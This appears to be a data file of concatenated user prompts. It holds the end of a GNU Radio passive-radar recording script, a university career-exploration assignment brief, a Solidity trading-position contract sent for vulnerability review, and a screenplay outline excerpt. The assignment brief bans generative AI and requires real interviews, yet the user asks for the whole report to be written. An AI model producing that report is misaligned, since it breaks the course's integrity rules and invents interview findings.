self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_grid(False)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_axis\\_labels(True)\n\n if not True:\n self.qtgui\\_histogram\\_sink\\_x\\_0.disable\\_legend()\n\n labels = [\'\', \'\', \'\', \'\', \'\',\n \'\', \'\', \'\', \'\', \'\']\n widths = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n colors = ["blue", "red", "green", "black", "cyan",\n "magenta", "yellow", "dark red", "dark green", "dark blue"]\n styles = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n markers = [-1, -1, -1, -1, -1,\n -1, -1, -1, -1, -1]\n alphas = [1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 1.0]\n for i in xrange(2):\n if len(labels[i]) == 0:\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_label(i, "Data {0}".format(i))\n else:\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_label(i, labels[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_width(i, widths[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_color(i, colors[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_style(i, styles[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_marker(i, markers[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_alpha(i, alphas[i])\n\n self.\\_qtgui\\_histogram\\_sink\\_x\\_0\\_win = sip.wrapinstance(self.qtgui\\_histogram\\_sink\\_x\\_0.pyqwidget(), Qt.QWidget)\n self.top\\_grid\\_layout.addWidget(self.\\_qtgui\\_histogram\\_sink\\_x\\_0\\_win)\n self.osmosdr\\_source\\_0 = osmosdr.source( args="numchan=" + str(2) + " " + \'bladerf=0,nchan=2\' )\n self.osmosdr\\_source\\_0.set\\_sample\\_rate(samp\\_rate)\n self.osmosdr\\_source\\_0.set\\_center\\_freq(90000000, 0)\n self.osmosdr\\_source\\_0.set\\_freq\\_corr(0, 0)\n self.osmosdr\\_source\\_0.set\\_dc\\_offset\\_mode(0, 0)\n self.osmosdr\\_source\\_0.set\\_iq\\_balance\\_mode(0, 0)\n self.osmosdr\\_source\\_0.set\\_gain\\_mode(False, 0)\n self.osmosdr\\_source\\_0.set\\_gain(10, 0)\n self.osmosdr\\_source\\_0.set\\_if\\_gain(20, 0)\n self.osmosdr\\_source\\_0.set\\_bb\\_gain(20, 0)\n self.osmosdr\\_source\\_0.set\\_antenna(\'\', 0)\n self.osmosdr\\_source\\_0.set\\_bandwidth(0, 0)\n self.osmosdr\\_source\\_0.set\\_center\\_freq(100e6, 1)\n self.osmosdr\\_source\\_0.set\\_freq\\_corr(0, 1)\n self.osmosdr\\_source\\_0.set\\_dc\\_offset\\_mode(0, 1)\n self.osmosdr\\_source\\_0.set\\_iq\\_balance\\_mode(0, 1)\n self.osmosdr\\_source\\_0.set\\_gain\\_mode(False, 1)\n self.osmosdr\\_source\\_0.set\\_gain(10, 1)\n self.osmosdr\\_source\\_0.set\\_if\\_gain(20, 1)\n self.osmosdr\\_source\\_0.set\\_bb\\_gain(20, 1)\n self.osmosdr\\_source\\_0.set\\_antenna(\'\', 1)\n self.osmosdr\\_source\\_0.set\\_bandwidth(0, 1)\n\n self.blocks\\_multiply\\_const\\_vxx\\_0\\_0 = blocks.multiply\\_const\\_vcc((128, ))\n self.blocks\\_multiply\\_const\\_vxx\\_0 = blocks.multiply\\_const\\_vcc((128, ))\n self.blocks\\_file\\_sink\\_0\\_0 = blocks.file\\_sink(gr.sizeof\\_char\\*1, \'/media/psf/Home/Developer/enigma/passive-radar/data/RF2.dat\', False)\n self.blocks\\_file\\_sink\\_0\\_0.set\\_unbuffered(False)\n self.blocks\\_file\\_sink\\_0 = blocks.file\\_sink(gr.sizeof\\_char\\*1, \'/media/psf/Home/Developer/enigma/passive-radar/data/RF1.dat\', False)\n self.blocks\\_file\\_sink\\_0.set\\_unbuffered(False)\n self.blocks\\_complex\\_to\\_real\\_1 = blocks.complex\\_to\\_real(1)\n self.blocks\\_complex\\_to\\_real\\_0 = blocks.complex\\_to\\_real(1)\n self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0 = blocks.complex\\_to\\_interleaved\\_char(False)\n self.blocks\\_complex\\_to\\_interleaved\\_char\\_0 = blocks.complex\\_to\\_interleaved\\_char(False)\n\n ##################################################\n # Connections\n ##################################################\n self.connect((self.blocks\\_complex\\_to\\_interleaved\\_char\\_0, 0), (self.blocks\\_file\\_sink\\_0, 0))\n self.connect((self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0, 0), (self.blocks\\_file\\_sink\\_0\\_0, 0))\n self.connect((self.blocks\\_complex\\_to\\_real\\_0, 0), (self.qtgui\\_histogram\\_sink\\_x\\_0, 1))\n self.connect((self.blocks\\_complex\\_to\\_real\\_1, 0), (self.qtgui\\_histogram\\_sink\\_x\\_0, 0))\n self.connect((self.blocks\\_multiply\\_const\\_vxx\\_0, 0), (self.blocks\\_complex\\_to\\_interleaved\\_char\\_0, 0))\n self.connect((self.blocks\\_multiply\\_const\\_vxx\\_0\\_0, 0), (self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 1), (self.blocks\\_complex\\_to\\_real\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 0), (self.blocks\\_complex\\_to\\_real\\_1, 0))\n self.connect((self.osmosdr\\_source\\_0, 0), (self.blocks\\_multiply\\_const\\_vxx\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 1), (self.blocks\\_multiply\\_const\\_vxx\\_0\\_0, 0))\n\n def closeEvent(self, event):\n self.settings = Qt.QSettings("GNU Radio", "top\\_block")\n self.settings.setValue("geometry", self.saveGeometry())\n event.accept()\n\n def get\\_samp\\_rate(self):\n return self.samp\\_rate\n\n def set\\_samp\\_rate(self, samp\\_rate):\n self.samp\\_rate = samp\\_rate\n self.osmosdr\\_source\\_0.set\\_sample\\_rate(self.samp\\_rate)\ndef main(top\\_block\\_cls=top\\_block, options=None):\n\n qapp = Qt.QApplication(sys.argv)\n\n tb = top\\_block\\_cls()\n tb.start()\n tb.show()\n\n def quitting():\n tb.stop()\n tb.wait()\n qapp.aboutToQuit.connect(quitting)\n qapp.exec\\_()\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n main()' -'Career Exploration Report \n\\*\\*Due Date: Week 7, Wed 29 Mar, 4 pm\\*\\*\n\n[Career Fit Analysis Draft](https://www.notion.so/Career-Fit-Analysis-Draft-319f354ad3e844dca00e50b5b9d2cd85)\n\nPurpose:\n\nThis exercise provides you with an opportunity to systematically investigate two careers and/or jobs you are interested in pursuing, as well as to network with two people who are in your chosen careers and/or jobs.\n\nOverview:\n\nYou will conduct research on two careers/jobs. The research will entail networking with and interviewing a suitable person in each career. In conducting this research, you will obtain a broad understanding of these careers/jobs, validate or invalidate the assumptions and uncertainties you hold concerning these careers/jobs, and explore other questions that you may have concerning those careers. You will then write a report analyzing your networking experience and what you have learned about the two careers/jobs. You will also describe the next steps in your career planning and the lessons learned in light of this analysis.\n\nRequired Format:\n\n\\*\\*Step 1: Identify two career(s) and/or job(s) you are currently interested in pursuing (approx. 150 words)\\*\\*\n\nA student might be interested in two career areas: human resources and marketing. Another might be interested in one job (e.g., advertising manager) within the marketing major and one career (e.g., entrepreneur). Obviously, some careers and jobs may seem more viable to you than do others, but it is important to provide a comparison of two careers/jobs.\n\nDrawing on academic sources (from Week 1 readings and lecture), define career and job. Based on these definitions, explain \\*\\*\\*whether and how\\*\\*\\* the chosen careers or jobs represent careers or jobs TO YOU.\n\n\\*\\*Step 2: Identify assumptions/beliefs and uncertainties (in Appendix)\\*\\*\n\nFor each of the careers or jobs, identify the following:\n\n1. Two positive assumptions/beliefs you have concerning the career/job.\n2. Two negative assumptions/beliefs you have concerning the career/job.\n3. Two uncertainties you have concerning the career/job.\n\nIn deciding which careers/jobs to pursue, you will have made implicit assumptions about your future compensation, the nature of your work, type of job difficulties, and forms of satisfaction and dissatisfaction in this future career. Some of these assumptions and beliefs will be true, whereas others will be false. Nevertheless, it is important for you to validate your assumptions and beliefs as you pursue your studies and before you seek employment.\n\nList the assumptions/beliefs and uncertainties for each career/job that are most important to you in the form of statements in an Appendix. Clearly label each - a) positive or b) negative assumption or c) an uncertainty.\n\n\\*\\*Step 3: Translate assumptions/beliefs and uncertainties into questions for each career/job (in Appendix)\\*\\*Translate the assumptions/beliefs and uncertainties you have identified in Step 2 into a series of questions to be asked of your interviewees. The reader should be able to \\*easily identify\\* which question is written for which assumption and uncertainty (a table format may help).\n\nHow? To translate your assumption that one needs a Bachelor’s degree for a job into a question, you might ask what educational background is needed to get this job. Or, you assume that this career requires a significant time commitment and thus you believe that you will not achieve a work-life balance. Your questions might then be: What is the average number of hours you work in a typical week? How has this career impacted you and your family and your work-life balance? How are you managing your work-life balance? Or, you have a positive assumption that this career provides you with lots of travel opportunities. Your question might entail: To what extent are there national and international travel opportunities in this career? What do those opportunities usually entail – attending meetings and trade shows, running workshops, etc?\n\n\\*\\*Step 4: Choose and contact at least one person to interview, analyze and reflect on the networking process and describe one lesson learned from this \\*networking experience\\* (approx. 300 words)\\*\\*\n\nIdentify and contact the people you wish to interview. The choice of who to interview is extremely important. It is best for you to identify the type of individual who would best answer your questions instead of contacting someone who is merely the most convenient. Use some of the criteria presented in Week 1 as a guide when you are identifying interviewees. Remember, professionalism begins with your initial contact. Do not interview by SMS or email. These interviews should be conducted face-to-face (or virtually with webcams on, if impossible to arrange).\n\nOnce the relevant criteria are chosen, identify who matches those criteria. Sources of contacts include alumni, friends, parents of other students, members of professional organizations, those you meet in networking events, etc. See Week 1 tutorial slides for more suggestions.\n\nFollow the contact tips in Week 1 slides,\n\nIn the Report:\n\na) State who you interviewed. The interviewees can remain anonymous if they wish, but please provide their job titles and type of companies (e.g., size, location) in which they work. State whether it was conducted face-to-face (or virtually - explain why a face-to-face meeting was not possible)\n\nb) Analyse and reflect on this networking experience. Draw on \\*at least 1 concept from the course\\* (with proper citation of course reading(s) and lecture/tutorial material(s)) when analyzing this \\*process\\*. The application of course concept(s) to this experience should help you answer the questions of “why” and “how” and thus deepen your reflection.\n\nc) Describe one lesson you have learned about networking in light of your analysis and reflection on this networking experience.\n\n\\*\\*Step 5: Summarize and reflect on the findings. (approx. 700 words)\\*\\*\n\nDiscuss the following:\n\na) How have your research and interview findings validated or invalidated your assumptions/beliefs and uncertainties about these careers/jobs? Summarize one or two findings for each career that are most important or surprising to you.\n\nb) Have your career plans been adjusted as a result of this exercise? If so, how? If not, why not? Be sure to describe your specific plan moving forward and explain why your plan is a reasonable and/or effective one based on your findings. The plan should include activities related to personal development, specific career/job search strategies, etc. Draw on \\*at least 1 concept from the course\\* (with proper citation of the academic source) for a and/or b to analyze and deepen your understanding of the findings and/or explain how they impact you and your career plan. Again, this application of course concept(s) to your findings/plan should help you answer the questions of “why” and “how” and thus deepen your reflection. This analysis should then lead you to reflect on a specific lesson learned about your career/job (i.e., c below).\n\nc) Describe the most important lesson you have learned about the careers/jobs in light of your analysis and reflection on your interview findings.\n\n\\*\\*Include Reference list and Appendices\\*\\*\n\nYou must cite all work properly throughout your report in [Harvard style](https://student.unsw.edu.au/referencing) and provide a reference list. You do not need to cite references \\*not\\* covered in the course. You must also include a list of assumptions/beliefs and uncertainties, as well as the associated interview questions in the Appendix.\n\nYou may use standard editing and referencing software (e.g., Microsoft Office suite, Grammarly, etc.), but \\*\\*\\*not\\* generative AI\\*\\*.\n\nReview resources on [how to write a reflective report](https://student.unsw.edu.au/reflective-writing).\n\n\\*\\*Note: All contents will be treated in strict confidence and with great respect.\\*\\*\n\n\\*\\*MARKING CRITERIA FOR CAREER EXPLORATION REPORT\\*\\*\n\n| Key Criteria | Grade |\n| --- | --- |\n| 1) Step 1\n• Identify two career(s) and/or job(s).\n• Career and job are defined in an accurate and scholarly manner.\n• Drawing on their academic definitions from the course, explain whether and how the chosen career(s) and/or job(s) represent career(s) or job(s) to you. | /2 |\n| 2) Step 2\n• Two positive assumptions/beliefs, two negative assumptions/beliefs and two uncertainties about each preferred career and/or job are listed in an Appendix. | /3 |\n| 3) Steps 3a and 3b\n• Questions, phrased in a professional manner, are accurately translated in a way that solicits responses that validate or invalidate each assumption/belief and uncertainty. This should be clearly presented in an Appendix next to each relevant assumption and uncertainty. | /2 |\n| 4) Step 4\n• Interviewed 2 relevant individuals.\n• Thoughtful application of course concept(s) when analysing the process.\n• Quality and depth of analysis of and reflection on the networking process.\n• Describe one lesson learned about networking in light of the analysis and reflection. | /8 |\n| 5) Step 5\n• Quality and clarity of the summary of findings (i.e., Step 5a)\n• Quality and depth of analysis of and reflection on the findings (i.e., Steps 5b and c): Thoughtful application of course concept(s) when analysing the findings. The reflection includes career plans change vs. no change, specific plans moving forward, and a lesson learned in light of the analysis. | /8 |\n| 6) Written construction and presentation are clear, concise, and logical (e.g. At least 2 academic readings are used and integrated in the reflection; Harvard style referencing; no spelling errors; work is edited; written expression is clear; all sections of the assignment are present; paragraphs are well developed; content is conveyed clearly). | /2 |\n| 7) Late penalty yes/no | - |\n| Total | /25 |\n\nWrite based on the above prompt, using the careers of a Product Manager, and a Business Analyst, based on the word count that are stated in each prompt' -'Check for possible vulnurbilities mentioned above in this contract below\n\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";\nimport "@openzeppelin/contracts/utils/Counters.sol";\nimport "./utils/MetaContext.sol";\nimport "./interfaces/IPosition.sol";\n\ncontract Position is ERC721Enumerable, MetaContext, IPosition {\n\n function ownerOf(uint \\_id) public view override(ERC721, IERC721, IPosition) returns (address) {\n return ERC721.ownerOf(\\_id);\n }\n\n using Counters for Counters.Counter;\n uint constant public DIVISION\\_CONSTANT = 1e10; // 100%\n\n mapping(uint => mapping(address => uint)) public vaultFundingPercent;\n\n mapping(address => bool) private \\_isMinter; // Trading contract should be minter\n mapping(uint256 => Trade) private \\_trades; // NFT id to Trade\n\n uint256[] private \\_openPositions;\n mapping(uint256 => uint256) private \\_openPositionsIndexes;\n\n mapping(uint256 => uint256[]) private \\_assetOpenPositions;\n mapping(uint256 => mapping(uint256 => uint256)) private \\_assetOpenPositionsIndexes;\n\n mapping(uint256 => uint256[]) private \\_limitOrders; // List of limit order nft ids per asset\n mapping(uint256 => mapping(uint256 => uint256)) private \\_limitOrderIndexes; // Keeps track of asset -> id -> array index\n\n // Funding\n mapping(uint256 => mapping(address => int256)) public fundingDeltaPerSec;\n mapping(uint256 => mapping(address => mapping(bool => int256))) private accInterestPerOi;\n mapping(uint256 => mapping(address => uint256)) private lastUpdate;\n mapping(uint256 => int256) private initId;\n mapping(uint256 => mapping(address => uint256)) private longOi;\n mapping(uint256 => mapping(address => uint256)) private shortOi;\n\n function isMinter(address \\_address) public view returns (bool) { return \\_isMinter[\\_address]; }\n function trades(uint \\_id) public view returns (Trade memory) {\n Trade memory \\_trade = \\_trades[\\_id];\n \\_trade.trader = ownerOf(\\_id);\n if (\\_trade.orderType > 0) return \\_trade;\n \n int256 \\_pendingFunding;\n if (\\_trade.direction && longOi[\\_trade.asset][\\_trade.tigAsset] > 0) {\n \\_pendingFunding = (int256(block.timestamp-lastUpdate[\\_trade.asset][\\_trade.tigAsset])\\*fundingDeltaPerSec[\\_trade.asset][\\_trade.tigAsset])\\*1e18/int256(longOi[\\_trade.asset][\\_trade.tigAsset]);\n if (longOi[\\_trade.asset][\\_trade.tigAsset] > shortOi[\\_trade.asset][\\_trade.tigAsset]) {\n \\_pendingFunding = -\\_pendingFunding;\n } else {\n \\_pendingFunding = \\_pendingFunding\\*int256(1e10-vaultFundingPercent[\\_trade.asset][\\_trade.tigAsset])/1e10;\n }\n } else if (shortOi[\\_trade.asset][\\_trade.tigAsset] > 0) {\n \\_pendingFunding = (int256(block.timestamp-lastUpdate[\\_trade.asset][\\_trade.tigAsset])\\*fundingDeltaPerSec[\\_trade.asset][\\_trade.tigAsset])\\*1e18/int256(shortOi[\\_trade.asset][\\_trade.tigAsset]);\n if (shortOi[\\_trade.asset][\\_trade.tigAsset] > longOi[\\_trade.asset][\\_trade.tigAsset]) {\n \\_pendingFunding = -\\_pendingFunding;\n } else {\n \\_pendingFunding = \\_pendingFunding\\*int256(1e10-vaultFundingPercent[\\_trade.asset][\\_trade.tigAsset])/1e10;\n }\n }\n \\_trade.accInterest += (int256(\\_trade.margin\\*\\_trade.leverage/1e18)\\*(accInterestPerOi[\\_trade.asset][\\_trade.tigAsset][\\_trade.direction]+\\_pendingFunding)/1e18)-initId[\\_id];\n \n return \\_trade;\n }\n function openPositions() public view returns (uint256[] memory) { return \\_openPositions; }\n function openPositionsIndexes(uint \\_id) public view returns (uint256) { return \\_openPositionsIndexes[\\_id]; }\n function assetOpenPositions(uint \\_asset) public view returns (uint256[] memory) { return \\_assetOpenPositions[\\_asset]; }\n function assetOpenPositionsIndexes(uint \\_asset, uint \\_id) public view returns (uint256) { return \\_assetOpenPositionsIndexes[\\_asset][\\_id]; }\n function limitOrders(uint \\_asset) public view returns (uint256[] memory) { return \\_limitOrders[\\_asset]; }\n function limitOrderIndexes(uint \\_asset, uint \\_id) public view returns (uint256) { return \\_limitOrderIndexes[\\_asset][\\_id]; }\n\n Counters.Counter private \\_tokenIds;\n string public baseURI;\n\n constructor(string memory \\_setBaseURI, string memory \\_name, string memory \\_symbol) ERC721(\\_name, \\_symbol) {\n baseURI = \\_setBaseURI;\n \\_tokenIds.increment();\n }\n\n function \\_baseURI() internal override view returns (string memory) {\n return baseURI;\n }\n\n function setBaseURI(string memory \\_newBaseURI) external onlyOwner {\n baseURI = \\_newBaseURI;\n }\n\n /\\*\\*\n \\* @notice Update funding rate after open interest change\n \\* @dev only callable by minter\n \\* @param \\_asset pair id\n \\* @param \\_tigAsset tigAsset token address\n \\* @param \\_longOi long open interest\n \\* @param \\_shortOi short open interest\n \\* @param \\_baseFundingRate base funding rate of a pair\n \\* @param \\_vaultFundingPercent percent of earned funding going to the stablevault\n \\*/\n function updateFunding(uint256 \\_asset, address \\_tigAsset, uint256 \\_longOi, uint256 \\_shortOi, uint256 \\_baseFundingRate, uint \\_vaultFundingPercent) external onlyMinter {\n if(longOi[\\_asset][\\_tigAsset] < shortOi[\\_asset][\\_tigAsset]) {\n if (longOi[\\_asset][\\_tigAsset] > 0) {\n accInterestPerOi[\\_asset][\\_tigAsset][true] += ((int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(longOi[\\_asset][\\_tigAsset]))\\*int256(1e10-vaultFundingPercent[\\_asset][\\_tigAsset])/1e10;\n }\n accInterestPerOi[\\_asset][\\_tigAsset][false] -= (int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(shortOi[\\_asset][\\_tigAsset]);\n\n } else if(longOi[\\_asset][\\_tigAsset] > shortOi[\\_asset][\\_tigAsset]) {\n accInterestPerOi[\\_asset][\\_tigAsset][true] -= (int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(longOi[\\_asset][\\_tigAsset]);\n if (shortOi[\\_asset][\\_tigAsset] > 0) {\n accInterestPerOi[\\_asset][\\_tigAsset][false] += ((int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(shortOi[\\_asset][\\_tigAsset]))\\*int256(1e10-vaultFundingPercent[\\_asset][\\_tigAsset])/1e10;\n }\n }\n lastUpdate[\\_asset][\\_tigAsset] = block.timestamp;\n int256 \\_oiDelta;\n if (\\_longOi > \\_shortOi) {\n \\_oiDelta = int256(\\_longOi)-int256(\\_shortOi);\n } else {\n \\_oiDelta = int256(\\_shortOi)-int256(\\_longOi);\n }\n \n fundingDeltaPerSec[\\_asset][\\_tigAsset] = (\\_oiDelta\\*int256(\\_baseFundingRate)/int256(DIVISION\\_CONSTANT))/31536000;\n longOi[\\_asset][\\_tigAsset] = \\_longOi;\n shortOi[\\_asset][\\_tigAsset] = \\_shortOi;\n vaultFundingPercent[\\_asset][\\_tigAsset] = \\_vaultFundingPercent;\n }\n\n /\\*\\*\n \\* @notice mint a new position nft\n \\* @dev only callable by minter\n \\* @param \\_mintTrade New trade params in struct\n \\*/\n function mint(\n MintTrade memory \\_mintTrade\n ) external onlyMinter {\n uint newTokenID = \\_tokenIds.current();\n\n Trade storage newTrade = \\_trades[newTokenID];\n newTrade.margin = \\_mintTrade.margin;\n newTrade.leverage = \\_mintTrade.leverage;\n newTrade.asset = \\_mintTrade.asset;\n newTrade.direction = \\_mintTrade.direction;\n newTrade.price = \\_mintTrade.price;\n newTrade.tpPrice = \\_mintTrade.tp;\n newTrade.slPrice = \\_mintTrade.sl;\n newTrade.orderType = \\_mintTrade.orderType;\n newTrade.id = newTokenID;\n newTrade.tigAsset = \\_mintTrade.tigAsset;\n\n \\_safeMint(\\_mintTrade.account, newTokenID);\n if (\\_mintTrade.orderType > 0) {\n \\_limitOrders[\\_mintTrade.asset].push(newTokenID);\n \\_limitOrderIndexes[\\_mintTrade.asset][newTokenID] = \\_limitOrders[\\_mintTrade.asset].length-1;\n } else {\n initId[newTokenID] = accInterestPerOi[\\_mintTrade.asset][\\_mintTrade.tigAsset][\\_mintTrade.direction]\\*int256(\\_mintTrade.margin\\*\\_mintTrade.leverage/1e18)/1e18;\n \\_openPositions.push(newTokenID);\n \\_openPositionsIndexes[newTokenID] = \\_openPositions.length-1;\n\n \\_assetOpenPositions[\\_mintTrade.asset].push(newTokenID);\n \\_assetOpenPositionsIndexes[\\_mintTrade.asset][newTokenID] = \\_assetOpenPositions[\\_mintTrade.asset].length-1;\n }\n \\_tokenIds.increment();\n }\n\n /\\*\\*\n \\* @param \\_id id of the position NFT\n \\* @param \\_price price used for execution\n \\* @param \\_newMargin margin after fees\n \\*/\n function executeLimitOrder(uint256 \\_id, uint256 \\_price, uint256 \\_newMargin) external onlyMinter {\n Trade storage \\_trade = \\_trades[\\_id];\n if (\\_trade.orderType == 0) {\n return;\n }\n \\_trade.orderType = 0;\n \\_trade.price = \\_price;\n \\_trade.margin = \\_newMargin;\n uint \\_asset = \\_trade.asset;\n \\_limitOrderIndexes[\\_asset][\\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1]] = \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset][\\_limitOrderIndexes[\\_asset][\\_id]] = \\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1];\n delete \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset].pop();\n\n \\_openPositions.push(\\_id);\n \\_openPositionsIndexes[\\_id] = \\_openPositions.length-1;\n \\_assetOpenPositions[\\_asset].push(\\_id);\n \\_assetOpenPositionsIndexes[\\_asset][\\_id] = \\_assetOpenPositions[\\_asset].length-1;\n\n initId[\\_id] = accInterestPerOi[\\_trade.asset][\\_trade.tigAsset][\\_trade.direction]\\*int256(\\_trade.margin\\*\\_trade.leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice modifies margin and leverage\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_newMargin new margin amount\n \\* @param \\_newLeverage new leverage amount\n \\*/\n function modifyMargin(uint256 \\_id, uint256 \\_newMargin, uint256 \\_newLeverage) external onlyMinter {\n \\_trades[\\_id].margin = \\_newMargin;\n \\_trades[\\_id].leverage = \\_newLeverage;\n }\n\n /\\*\\*\n \\* @notice modifies margin and entry price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_newMargin new margin amount\n \\* @param \\_newPrice new entry price\n \\*/\n function addToPosition(uint256 \\_id, uint256 \\_newMargin, uint256 \\_newPrice) external onlyMinter {\n \\_trades[\\_id].margin = \\_newMargin;\n \\_trades[\\_id].price = \\_newPrice;\n initId[\\_id] = accInterestPerOi[\\_trades[\\_id].asset][\\_trades[\\_id].tigAsset][\\_trades[\\_id].direction]\\*int256(\\_newMargin\\*\\_trades[\\_id].leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice Called before updateFunding for reducing position or adding to position, to store accumulated funding\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\*/\n function setAccInterest(uint256 \\_id) external onlyMinter {\n \\_trades[\\_id].accInterest = trades(\\_id).accInterest;\n }\n\n /\\*\\*\n \\* @notice Reduces position size by %\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_percent percent of a position being closed\n \\*/\n function reducePosition(uint256 \\_id, uint256 \\_percent) external onlyMinter {\n \\_trades[\\_id].accInterest -= \\_trades[\\_id].accInterest\\*int256(\\_percent)/int256(DIVISION\\_CONSTANT);\n \\_trades[\\_id].margin -= \\_trades[\\_id].margin\\*\\_percent/DIVISION\\_CONSTANT;\n initId[\\_id] = accInterestPerOi[\\_trades[\\_id].asset][\\_trades[\\_id].tigAsset][\\_trades[\\_id].direction]\\*int256(\\_trades[\\_id].margin\\*\\_trades[\\_id].leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice change a position tp price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_tpPrice tp price\n \\*/\n function modifyTp(uint \\_id, uint \\_tpPrice) external onlyMinter {\n \\_trades[\\_id].tpPrice = \\_tpPrice;\n }\n\n /\\*\\*\n \\* @notice change a position sl price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_slPrice sl price\n \\*/\n function modifySl(uint \\_id, uint \\_slPrice) external onlyMinter {\n \\_trades[\\_id].slPrice = \\_slPrice;\n }\n\n /\\*\\*\n \\* @dev Burns an NFT and it\'s data\n \\* @param \\_id ID of the trade\n \\*/\n function burn(uint \\_id) external onlyMinter {\n \\_burn(\\_id);\n uint \\_asset = \\_trades[\\_id].asset;\n if (\\_trades[\\_id].orderType > 0) {\n \\_limitOrderIndexes[\\_asset][\\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1]] = \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset][\\_limitOrderIndexes[\\_asset][\\_id]] = \\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1];\n delete \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset].pop(); \n } else {\n \\_assetOpenPositionsIndexes[\\_asset][\\_assetOpenPositions[\\_asset][\\_assetOpenPositions[\\_asset].length-1]] = \\_assetOpenPositionsIndexes[\\_asset][\\_id];\n \\_assetOpenPositions[\\_asset][\\_assetOpenPositionsIndexes[\\_asset][\\_id]] = \\_assetOpenPositions[\\_asset][\\_assetOpenPositions[\\_asset].length-1];\n delete \\_assetOpenPositionsIndexes[\\_asset][\\_id];\n \\_assetOpenPositions[\\_asset].pop(); \n\n \\_openPositionsIndexes[\\_openPositions[\\_openPositions.length-1]] = \\_openPositionsIndexes[\\_id];\n \\_openPositions[\\_openPositionsIndexes[\\_id]] = \\_openPositions[\\_openPositions.length-1];\n delete \\_openPositionsIndexes[\\_id];\n \\_openPositions.pop(); \n }\n delete \\_trades[\\_id];\n }\n\n function assetOpenPositionsLength(uint \\_asset) external view returns (uint256) {\n return \\_assetOpenPositions[\\_asset].length;\n }\n\n function limitOrdersLength(uint \\_asset) external view returns (uint256) {\n return \\_limitOrders[\\_asset].length;\n }\n\n function getCount() external view returns (uint) {\n return \\_tokenIds.current();\n }\n\n function userTrades(address \\_user) external view returns (uint[] memory) {\n uint[] memory \\_ids = new uint[](balanceOf(\\_user));\n for (uint i=0; i<\\_ids.length; i++) {\n \\_ids[i] = tokenOfOwnerByIndex(\\_user, i);\n }\n return \\_ids;\n }\n\n function openPositionsSelection(uint \\_from, uint \\_to) external view returns (uint[] memory) {\n uint[] memory \\_ids = new uint[](\\_to-\\_from);\n for (uint i=0; i<\\_ids.length; i++) {\n \\_ids[i] = \\_openPositions[i+\\_from];\n }\n return \\_ids;\n }\n\n function setMinter(address \\_minter, bool \\_bool) external onlyOwner {\n \\_isMinter[\\_minter] = \\_bool;\n } \n\n modifier onlyMinter() {\n require(\\_isMinter[\\_msgSender()], "!Minter");\n \\_;\n }\n\n // META-TX\n function \\_msgSender() internal view override(Context, MetaContext) returns (address sender) {\n return MetaContext.\\_msgSender();\n }\n function \\_msgData() internal view override(Context, MetaContext) returns (bytes calldata) {\n return MetaContext.\\_msgData();\n }\n}' -'Here is the segment 2 of 3 of the outline we\'ve written:\n\n9,INT. LOS PADRINOS GROUP THERAPY ROOM - DAY,"Alex has her first group therapy session at Los Padrinos, where she begins to learn more about her fellow detainees and their personal struggles. Chris proposes the idea of therapy journal videos and the group is very resistant.","Alex and her cellmates, along with Carlos and a few other detainees, gather in the group therapy room for their first session with young therapist Chris Ramirez. The room is designed to be more welcoming and comfortable than the rest of the facility, with large windows, soft lighting, and an array of cozy seating options.\n\nChris starts the session by introducing himself and encouraging everyone to share their feelings and experiences in a safe and judgment-free environment. The detainees are initially unresponsive, making the atmosphere tense.\n\nAs the therapy session progresses, Alex makes a connection with Heather when they share a brief moment of understanding. The group begins to open up, albeit reluctantly, sharing snippets of their stories and the challenges they face at Los Padrinos. Alex shares her story, including her older sister Isela’s history at Los Padrinos before the closure and how her mother\'s strong faith was tested by the trouble she and her sister got into and the challenges they faced as a family. Jasmine and Pretzel exchange knowing glances. She\'s begun to earn the attention of the group.\n\nTowards 